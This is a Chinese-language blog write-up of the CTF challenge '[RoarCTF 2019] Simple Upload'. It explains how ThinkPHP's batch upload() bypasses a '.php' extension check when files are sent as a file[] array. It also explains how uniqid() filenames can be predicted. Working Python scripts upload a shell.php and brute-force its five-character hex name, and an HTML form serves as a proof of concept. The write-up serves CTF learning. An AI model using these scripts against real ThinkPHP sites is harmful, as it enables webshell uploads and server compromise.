刷题笔记:[RoarCTF 2019]Simple Upload


前言

关键字:[thinkphp|uniqid|thinkphp上传]

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

题解

thinkphp的上传,默认上传地址为/home/index/upload,这真想不到

http://ce34bf36-7954-4ba3-b71b-971bc4084686.node4.buuoj.cn:81/index.php/home/index/upload

上传成功后会给出路径

thinkphp上传漏洞

ThinkPHP里的upload()函数在不传参的情况下是批量上传的,整个$_FILES数组的文件都会上传保存,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测

而且,thinkphp对于文件命名是用uniqid()函数,这是基于毫秒级的当前时间。

<?php
echo uniqid();
echo '<br>';
echo uniqid();

一快点就变两位,一般来说就变三位。

可见,我只要上传图片1,shell,图片2,然后就能爆破出shell文件的文件名。

因为是16进制,所以需要字符只有

0123456789abcdef

解法1

import requests

session = requests.session()
url = 'http://0023f6ee-d192-4ad9-8864-87af34a495f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1 = {'file': open('1.txt', 'r')}
# upload()不传参时即是批量上传所以用[]
file2 = {'file[]': open('shell.php', 'r')}

r = session.post(url, files=file1)
print(r.text)

r = session.post(url, files=file2)
print(r.text)

r = session.post(url, files=file1)
print(r.text)
{"url":"\/Public\/Uploads\/2021-08-16\/611a6459b7a3b.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2021-08-16\/611a6459dd848.txt","success":1}

这样上传还挺慢的,需要爆破5位。

import requests
session = requests.session()
target = 'http://0023f6ee-d192-4ad9-8864-87af34a495f6.node4.buuoj.cn:81/'
str = '0123456789abcdef'
for i in str:
    for j in str:
        for k in str:
            for o in str:
                for p in str:
                    url = target+i+j+k+o+p+".php"
                    r = session.get(url)
                    if r.status_code == 200:
                        print(url)

解法2

<html>

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>

<body>
    <form action="http://ce34bf36-7954-4ba3-b71b-971bc4084686.node4.buuoj.cn:81/index.php/home/index/upload" method="POST" enctype="multipart/form-data">
        <!-- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> -->
        <input type="file" name="file" />
        <input type="file" name="file2" />
        <input type="submit" value="submit" />
    </form>
</body>

</html>

\/Public\/Uploads\/2021-08-16\/611a58b82a4b0.png

试了两回,终于跑到了。

打开一看,直接给了flag

不解之处

迷惑的是,如果是上传txt,数据包可以随便改

但换成图片,哪怕是把下面的file1改为file2,都不会返回路径

Content-Length: 3568一下变成Content-Length: 4809

感觉就像是重新编码了一样,然后导致上传错误


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录